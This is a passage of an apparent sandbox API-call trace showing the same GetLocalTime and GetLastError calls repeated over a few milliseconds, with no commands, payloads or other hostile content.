wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.750] GetLastError () returned 0x0 [0056.750] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.751] GetLastError () returned 0x0 [0056.751] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.752] GetLastError () returned 0x0 [0056.752] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.753] GetLastError () returned 0x0 [0056.753] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x30, wSecond=0x7, wMilliseconds=0x194)) [0056.754] GetLastError () returned 0x0 [0056.754] 